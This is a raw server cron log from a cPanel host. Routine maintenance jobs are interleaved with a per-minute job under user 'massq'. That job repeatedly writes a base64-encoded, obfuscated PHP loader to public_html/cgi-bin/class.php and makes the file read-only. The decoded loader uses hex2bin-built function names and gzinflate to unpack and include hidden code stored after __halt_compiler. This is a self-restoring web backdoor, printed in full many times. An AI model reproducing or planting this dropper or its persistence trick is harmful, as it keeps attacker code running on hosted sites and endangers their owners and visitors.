Aug 30 10:40:01 server CROND[8623]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Aug 30 10:40:01 server CROND[8625]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 30 10:40:01 server CROND[8618]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Aug 30 10:41:01 server CROND[9485]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 10:41:01 server CROND[9486]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 10:41:01 server CROND[9487]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 10:42:01 server CROND[9881]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 10:42:01 server CROND[9880]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Aug 30 10:42:01 server CROND[9882]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 10:42:01 server CROND[9883]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 10:43:01 server CROND[10271]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 10:43:01 server CROND[10272]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 10:43:01 server CROND[10273]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 10:44:02 server CROND[10655]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 10:44:02 server CROND[10656]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 10:44:02 server CROND[10657]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 10:45:01 server CROND[11010]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Aug 30 10:45:01 server CROND[11011]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 30 10:45:01 server CROND[11009]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 10:45:01 server CROND[11012]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 10:45:01 server CROND[11013]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 30 10:45:01 server CROND[11014]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Aug 30 10:45:01 server CROND[11015]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 10:46:01 server CROND[11927]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 10:46:01 server CROND[11928]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 10:46:01 server CROND[11929]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 10:47:01 server CROND[12401]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 10:47:01 server CROND[12403]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 10:47:01 server CROND[12402]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 10:48:01 server CROND[12811]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 10:48:01 server CROND[12812]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 10:48:01 server CROND[12814]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 10:49:01 server CROND[13202]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 10:49:01 server CROND[13203]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 10:49:01 server CROND[13205]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 10:50:01 server CROND[13643]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Aug 30 10:50:01 server CROND[13653]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Aug 30 10:50:01 server CROND[13659]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 30 10:50:01 server CROND[13667]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 10:50:01 server CROND[13672]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 30 10:50:01 server CROND[13670]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Aug 30 10:50:01 server CROND[13669]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 10:50:01 server CROND[13671]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 10:50:01 server CROND[13668]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Aug 30 10:51:01 server CROND[14586]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 10:51:01 server CROND[14587]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 10:51:01 server CROND[14588]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 10:52:01 server CROND[15432]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 10:52:01 server CROND[15433]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 10:52:01 server CROND[15435]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
